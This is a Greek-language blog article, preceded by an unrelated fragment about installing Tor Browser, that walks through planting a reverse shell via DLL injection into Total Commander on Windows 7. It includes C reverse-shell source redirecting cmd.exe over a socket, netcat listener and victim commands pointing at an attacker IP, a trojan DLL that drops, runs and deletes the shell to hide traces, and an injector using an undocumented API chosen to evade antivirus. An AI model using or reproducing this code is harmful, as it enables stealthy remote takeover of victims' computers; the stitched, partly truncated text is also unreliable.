Κάντε κλικ στο κουμπί “Download Tor” και επιλέξτε την έκδοση που αντιστοιχεί στο λειτουργικό σας σύστημα (Windows, macOS, Linux).
Αφού κατεβάσετε το αρχείο εγκατάστασης, ακολουθήστε τις οδηγίες για να εγκαταστήσετε το Tor Browser στον υπολογιστή σας.
Εκκίνηση του Tor Browser:
Αφού εγκαταστήσετε το Tor Browser, εκκινήστε το από το μενού εφαρμογών του υπολογιστή σας. Μόλις εκκινήσει, το Tor Browser θα αρχίσει να συνδέεται στο δίκτυο Tor και θα δημιουργήσει μια ασφαλή σύνδεση.
Περιηγηθείτε στο Dark Web:
Μόλις ολοκληρωθεί η διαδικασία σύνδεσης, το Tor Browser θα σας εμφανίσει έναν περιηγητή που μοιάζει με τον Mozilla Firefox. Χρησιμοποιήστε τον αυτόν τον περιηγητή για να πλοηγηθείτε στο Dark Web.
Μπορείτε να εισάγετε διευθύνσεις URL που τελειώνουν σε “.onion” για να επισκεφθείτε ιστοσελίδες στο Dark Web.
Reverse shell μέσω DLL Injection με χρήση undocumented WinAPI function
Στο άρθρο αυτό θα δείξουμε μια σχετικά παλιά αλλά πολύ διαδεδομένη μέθοδο που χρησιμοποιούν οι επιτιθέμενοι για να εγκαταστήσουν ένα backdoor στον υπολογιστή του θύματος. Το συγκεκριμένο άρθρο μπορεί να το δείτε και κάπου αλλού (στα Αγγλικά) μιας και το έχω γράψει σε ξενόγλωσσα forums. Δεν είναι καινούριο και γενικά χρησιμοποιεί λίγο παλαιότερη τεχνολογία (όχι πολύ παλαιότερη btw… 😉 ) αλλά αυτό δεν πρέπει να μας ενοχλεί καθόλου για 2 λόγους:
Δεν μπορεί να χρησιμοποιηθεί (χωρίς κάποιες τροποποιήσεις) άμεσα για επιθέσεις.
Περνάει το μήνυμα της μεθοδολογίας που χρησιμοποιείται από τους επιτιθέμενους – που αυτό είναι και ένας από τους βασικούς στόχους του άρθρου.
Τι θα διαβάσετε σε αυτό το άρθρο
1) Πώς εκτελείται μια επίθεση DLL σε ένα υπολογιστή με Windows 7 Ultimate, με 2 τρόπους:
α) χρησιμοποιώντας μια documented Windows API function και
β) χρησιμοποιώντας μια μη τεκμηριωμένη (undocumented) API function των Windows. Αυτή η μέθοδος θα παρακάμψει επίσης το πρόγραμμα προστασίας από ιούς των Windows Essentials.
2) Όταν εκτελείται το injection, ένα private (μη ανιχνεύσιμο – τουλάχιστον την στιγμή που το έγραψα… 😉 ) reverse shell, (συμπεριλαμβάνεται ο πηγαίος κώδικας).
3) Επιπλέον, παρουσιάζεται μια (…πρωτότυπη ή καλύτερα λίγο αντισυμβατική) μέθοδος δημιουργίας ενός εκτελέσιμου αρχείου PE από ένα DLL κατά το χρόνο εκτέλεσης.
Πρέπει να είμαι guru για να το καταλάβω;
Αυτό το άρθρο αναφέρεται σε άτομα που γνωρίζουν ήδη πώς να προγραμματίζουν σε c ή c++ και έχουν βασικές γνώσεις για κλήσεις API των Windows. Επιπλέον, απαιτείται κάποια γνώση των τεχνικών εκμετάλλευσης ως εξής:
Τι είναι ένα reverse shell και πώς χρησιμοποιείται.
Το DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από τους εισβολείς για να εισάγουν κώδικα σε ένα εκτελέσιμο αρχείο προκειμένου να εκτελέσουν μια ελεγχόμενη εκτέλεση.
Θα παρουσιάσω δύο μεθόδους επιτυχημένης επίθεσης σε Windows 7 Ultimate OS που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την τεκμηριωμένη συνάρτηση API των Windows CreateRemoteThread και η δεύτερη μέθοδος χρησιμοποιεί την μη τεκμηριωμένη NtCreateThreadEx. Προτιμώ την τελευταία, γιατί η πρώτη “αγχώνει” λίγο το Windows Defender ενώ η δεύτερη όχι (τουλάχιστον όταν είχε δοκιμαστεί πριν μερικά χρόνια)!
Επιπλέον, ένα reverse shell (που αναπτύχθηκε σε c++) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς ή… “συσκευασίας” ενός εκτελέσιμου αρχείου μέσα σε άλλο εκτελέσιμο αρχείο (ή DLL).
Η τελική επίθεση θα γίνει χρησιμοποιώντας δύο προσεγγίσεις:
Την παραδοσιακή (χειροκίνητη) προσέγγιση που χρησιμοποιώ μόνο το Netcat και
την… «επίσημη» προσέγγιση όπου χρησιμοποιώ το γνωστό Armitage του Metasploit arsenal. Φωτογραφίες της επίθεσης θα είναι διαθέσιμες σε εσάς καθώς και σύντομα βίντεο.
Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό το άρθρο δεν είναι ένα σεμινάριο “Πώς να εισβάλετε”, ούτε μια μέθοδος εγκατάστασης ενός Trojan στο PC ενός θύματος. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος κλήσης ενός Reverse Shell μέσω DLL Injection χρησιμοποιώντας μη τεκμηριωμένη συνάρτηση του API στα Windows 7.
Τα πρώτα βήματα
Για να εκτελέσουμε μια τέτοια επίθεση πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θέλουμε να εισάγουμε τον κακόβουλο κώδικα μας. Στο παράδειγμά μου θα χρησιμοποιήσω σαν θύμα το πρόγραμμα Total Commander (http://www.ghisler.com), τον αγαπημένο Windows Manager των προγραμματιστών (και όχι μόνο!). Η εισαγωγή κακόβουλου κώδικα στο Total Commander, σημαίνει (εν ολίγης) ότι όταν ο χρήστης ξεκινήσει αυτό το πρόγραμμα στο τοπικό του υπολογιστή, θα λάβω αμέσως ένα reverse shell στο box μου (δηλ. στο… PC μου) με τα ίδια δικαιώματα που έχει το Total Commander όταν εκτελείτε. Για να είμαι πιο συγκεκριμένος, η μέθοδος ακολουθεί τρία βήματα που θα αναλύσω παρακάτω.
Η Μέθοδος
Βήμα 1. Έλεγξε εάν εκτελείται το «Total Commander».
Βήμα 2. Εάν εκτελείται, εκτέλεσε το injection και εκτέλεσε ένα reverse shell σε μια συγκεκριμένη διεύθυνση IP, μετά συνέχισε την εκτέλεση του Total Commander.
Βήμα 3. Εάν το “Total Commander” δεν εκτελείται, τότε πήγαινε στο 1.
Η προσέγγισή μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα πυροδοτήσει όλη την επίθεση.
2. myDLL.DLL: Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα “μεταφέρει” τον εκτελέσιμο κώδικα του reverse shell. Μία από τις κύριες αρμοδιότητές του είναι όταν κληθεί το eventDLL_PROCESS_ATTACH, θα “αποσυσκευάσει” το reverse shell στο δίσκο και θα το εκτελέσει.
3. dllattack08.exe: Είναι το βασικό κακόβουλο πρόγραμμα που όταν εκτελεστεί στον υπολογιστή του θύματος, θα παραμείνει στη μνήμη εκτελόντας τα παραπάνω 3 βήματα της μεθόδου.
1. Δημιουργία του Reverse Shell.
Θα παρουσιάσω εδώ τον πηγαίο κώδικα του (private – εκείνη την εποχή που το έφτιαξα) Reverse Shell.
// reverse shell in win32 // by thiseas 2010 // Compile with VS 2008 from command line with cl: // cl PROGRAMrs.c -> PROGRAMrs.exe //////////////////////////////////////////////// #include <winsock2.h> #include <stdio.h>
#pragma comment(lib, “Ws2_32.lib”) //Inform the linker that the Ws2_32.lib file is needed.
// Starting shell by creating a new process with redirected i/o. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,”cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; }
return 0; }
Το παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως αντικατάσταση του Netcat ή σε συνδυασμό με αυτό.
Χρήση
Για να τρέξουμε με επιτυχία το shell πρέπει να εκτελέσουμε τις ακόλουθες δύο εντολές:
Εντολή 1: Στο PC του επιτιθέμενου, εκτελέστε το Netcat για να βάλετε σε Listening mode μια σύνδεση:
στο Fedora : nc -l 1234
στο ubuntu: nc -v -l -p 1234
σε Windows : nc -v -l -p 1234
Εντολή 2: Στο PC του θύματος, εκτελέστε το reverse shell: c:> PROGRAMrs.exe <attackerIP> 1234
2.Πώς θα φυλάξουμε τον εκτελέσιμο κώδικα του shell μέσα σε ένα άλλο πρόγραμμα
Θα «αποθηκεύσω» τον εκτελέσιμο κώδικα μέσα στο DLL (που θα χρησιμοποιήσω αργότερα) για να εκτελεστεί όταν χρειαστεί (θα εξηγήσω αργότερα πώς). Έτσι, πρέπει να πάρω τον HexCode του εκτελέσιμου ReverseShell μου και να τον βάλω μέσα σε άλλο πρόγραμμα. Υπάρχουν διάφορες μέθοδοι για να γίνει αυτό. Ο στόχος είναι να αποθηκεύσετε ολόκληρο το ReverseShell εκτελέσιμο μέσα σε έναν byte Array και στη συνέχεια να γράψετε αυτόν Byte Array στο δίσκο με ένα νέο όνομα. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό εκτελέσιμο PE (http://en.wikipedia.org/wiki/Portable_Executable)!
Ανοίγω το εκτελέσιμο “PROGRAMrs.exe” του αντίστροφου κελύφους χρησιμοποιώντας τον αγαπημένο μου επεξεργαστή ultraEdit (το οποίο είναι επίσης hex editor). Επιλέξτε όλα, κάντε δεξί κλικ και επιλέξτε Hex Copy Selected View (εικόνα 1).
Επικολλώ τα επιλεγμένα code-bytes σε ένα νέο αρχείο. Επιλέγω τις συγκεκριμένες στήλες στον editor (Alt+C) και επιλέγω όλο τον byte-code. Στη συνέχεια, κάνω δεξί κλικ και αντγραφή Ctrl+C (εικόνα 2).
Έβαλα τα επιλεγμένα byte σε ένα νέο αρχείο και έβαλα ένα “\x” μεταξύ κάθε δεκαεξαδικού, όπως δείχνει το ακόλουθο παράδειγμα:
Από:
Για να το κάνω γρήγορα μπορώ στον editor να αντικαταστήσω όλα τα κενά με ‘\x’ και τελικά να καταλήξω στο παρακάτω:
Εντάξει, αυτό ήταν. Αποθηκεύω αυτό το αρχείο στο δίσκο με το όνομα MyTempByteCode.txt.
3.Δημιουργώ την DLL
Ήρθε η ώρα σε αυτό το 3ο βήμα, να δημιουργήσω την DLL. Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα φέρει μέση της το ReverseShell μέσα. Μία από τις κύριες αρμοδιότητές της είναι όταν κληθεί και εκτελεστεί το event DLL_PROCESS_ATTACH, θα αποσυσκευάσει το ReverseShell στο δίσκο και θα το εκτελέσει.
Την δημιούργησα χρησιμοποιώντας C++ στο Microsoft Visual Studio 2008 και ο κώδικας της είναι ο παρακάτω:
Ο πηγαίος κώδικας είναι (πιστεύω) αυτονόητος: Όταν ενεργοποιηθεί το event DLL_PROCESS_ATTACH, θα γράψω τα shell-bytes σε ένα αρχείο και θα το εκτελέσω (για να ξεκινήσει το RevsreShell) και αμέσως μετά θα τον διαγράψω από το δίσκο για να κρύψω τα ίχνη μου. Φυσικά, αυτό θα έχει μείνει στην μνήμη και θα επιτελεί την κακόβουλη εργασία του, δηλαδή θα έχει δώσει μη εξουσιοδοτημένη πρόσβαση στον επιτιθέμενο.
4.Εκτελώντας το Injection
Τώρα χρειάζομαι ένα πρόγραμμα για να ενεργοποιήσει, να καλέσει δηλαδή το παραπάνω DLL. Αυτό είναι βασικό πρόγραμμα που θα ενεργοποιήσει την επίθεση και είναι το: dllattack08.exe: Είναι αυτό που θα εκτελέσει το injection στο “Total Commander” χρησιμοποιώντας μια τεκμηριωμένη συνάρτηση WinAPI και μια μη τεκμηριωμένη WinAPI (the stealth case) – όπως είπαμε και στην αρχή του άρθρου.
typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer );
if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf(“\nFailed to get the current session with error %d”, GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf(“\nFailed to get the remote session with error %d”, GetLastError()); }
if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”)) printf(“\nSUCCESSFUL!\n”); else printf(“\nFailed!\n”);
return 0; }
Πιστεύω ότι κάποια θέματα στον παραπάνω κώδικα χρειάζονται κάποια διευκρίνιση. Η κλήση της συνάρτησης που εκτελεί το DLL injection χρησιμοποιώντας το τεκμηριωμένο API CreateRemoteThread είναι η: DllInject(hProcess, “\\DLLInjection\\myDLL.dll”)
Η συνάρτηση παίρνει 2 ορίσματα: Τον handler της διεργασίας του προγράμματος που πρόκειται να Inject και το όνομα του αρχείου DLL που θα επισυναφθεί στο injected εκτελέσιμο αρχείο. Όπως μπορείτε να δείτε αυτό είναι αρκετά “ανοιχτό” για να δεχτείτε οτιδήποτε σας αρέσει… 😎
Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της συνάρτησης SeDebugPrivilege ως προσπάθεια απόκτησης όσο το δυνατόν περισσότερων προνομίων. Η Microsoft ανέφερε κάποτε το εξής:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do».
Αυτό είναι πράγματι ενδιαφέρον. Σύμφωνα με τις δοκιμές μου, τα παραπάνω δεν ισχύουν 100% για τα windows 7, αλλά άξιζε μια δοκιμή… πάντως.
Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι ενεργοποιεί το Microsoft Security Essentials Antivirus. Ανακάλυψα ότι η αιτία του συναγερμού είναι η χρήση του API CreateRemoteThread μέσα στη συνάρτηση DllInject. Αντικαθιστώ, λοιπόν, αυτή τη λειτουργία με μια νέα αλλά… undocumented! Το να εξηγήσουμε πώς βρίσκουμε και αναλύουμε μη τεκμηριωμένες λειτουργίες API των Windows είναι μια άλλη ιστορία (πράγματι προκλητική) που θα προσπαθήσω να εξηγήσω σε άλλο άρθρο. Η μη τεκμηριωμένη κλήση API υλοποιείται στη συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα για να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το κάτω μέρος του παραπάνω πηγαίου κώδικα:
Από if (DllInject(hProcess, “\\DLLInjection\\myDLL.dll”))
Προς την if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
Και αυτό είναι. Γίνεσαι stealth!
Χειροκίνητη Επίθεση
Παρακάτω είναι ένα παράδειγμα επίθεσης με τον χειροκίνητο (παραδοσιακό) τρόπο:
Επίθεση με την χρήση του Metasploit Armitage
Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για Penetration Testers και όχι μόνο. Το Armitage είναι ένα front-end (μπορώ να πω) για το metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για την εκτέλεση μας τέτοιας ίδιας επίθεσης. Μπορεί να χρησιμοποιηθεί ως client για να ακούσετε στη θύρα 6666 για να λάβετε το RevsrseShell μου. Ρίξτε μια ματιά εδώ:
και αμέσως μετά… Αυτό:
Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι μπορεί να χρησιμοποιηθεί οποιοδήποτε Reverse Shell. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο χρησιμοποιώντας το Metasploit, να λάβετε τον δυαδικό του κώδικα, να τον βάλετε στο DLL μου και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτοί για να υποστηρίξουν τέτοιες τεχνικές…
Και μερικά VIDEOs της επίθεσης
[1]. Περίπτωση I: Η εφαρμογή Total Commander ήδη είναι ανοιχτή στο PC του θύματος
[2]. Case II: Η εφαρμογή Total Commander ανοίγει μετά την εκτέλεση του malware (dllattack08.exe) στο PC του θύματος